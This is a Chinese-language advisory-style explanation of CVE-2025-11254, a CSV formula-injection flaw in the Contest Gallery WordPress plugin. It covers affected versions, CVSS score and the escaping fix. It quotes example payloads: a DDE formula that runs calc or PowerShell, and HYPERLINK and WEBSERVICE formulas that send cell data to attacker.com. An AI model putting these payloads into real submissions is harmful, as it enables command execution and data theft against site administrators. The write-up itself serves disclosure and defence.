CVE-2025-11254CVE-2025-11254是WordPress流行插件Contest Gallery(用于上传、投票及通过PayPal和Stripe销售)中存在的一个CSV注入漏洞。该插件在WordPress生态系统中拥有广泛的用户群体,允许网站管理员创建图片竞赛、投票活动以及电商功能。
该漏洞影响该插件所有27.0.3及以下版本,攻击者无需任何身份认证即可利用。漏洞源于插件在处理画廊提交(gallery submissions)数据时,未对用户输入进行充分的过滤和转义,直接将原始数据嵌入到导出的CSV文件中。当管理员或网站运营者下载这些CSV文件并在本地系统(如Microsoft Excel、LibreOffice Calc等)打开时,恶意注入的公式或命令将被自动执行,从而可能导致远程代码执行、数据泄露或系统被入侵。
该漏洞由WordFence安全团队([email protected])发现并报告,于2025年10月11日公开披露。插件开发者已在28.0.0版本中修复了此问题。CVSS评分为4.3分,属于中危级别,虽然利用需要用户交互(打开导出的CSV文件),但攻击向量为网络且无需认证,使得该漏洞仍具有较高的实际威胁性。
CSV注入(也称为公式注入或Formula Injection)是一种利用电子表格软件自动执行嵌入公式特性的攻击方式。当应用程序将用户可控的输入未经处理地写入CSV文件时,攻击者可以注入以特定字符(如=、+、-、@)开头的字符串,这些字符在Excel等电子表格软件中会被识别为公式的开头。
在Contest Gallery插件中,攻击者通过画廊提交功能提交恶意载荷,例如参赛者的姓名、描述、评论等字段。这些字段中的数据在管理员导出参赛者信息为CSV格式时会被原样写入文件。攻击者可以在提交内容中嵌入类似`=cmd|'/c calc'!A1`、`=HYPERLINK("http://attacker.com?data="&A1,"Click Here")`或`=WEBSERVICE("http://attacker.com/exfil?data="&A1)`等危险公式。
当管理员下载并打开此CSV文件时,电子表格软件会自动解析这些公式并执行。对于Microsoft Excel,DDE(Dynamic Data Exchange)特性允许通过`=cmd|'/c powershell...'!A1`这样的语法执行系统命令;对于LibreOffice Calc,`=WEBSERVICE()`函数可以用于外带数据(exfiltrate sensitive data)。
利用条件包括:1)目标网站安装了Contest Gallery插件且版本≤27.0.3;2)攻击者能够通过画廊提交表单提交内容(通常无需认证);3)管理员导出CSV并使用存在漏洞的电子表格软件打开。漏洞的修复方法是在写入CSV前对以特殊字符开头的字段值进行前缀转义(如添加单引号`'`或制表符`\t`)。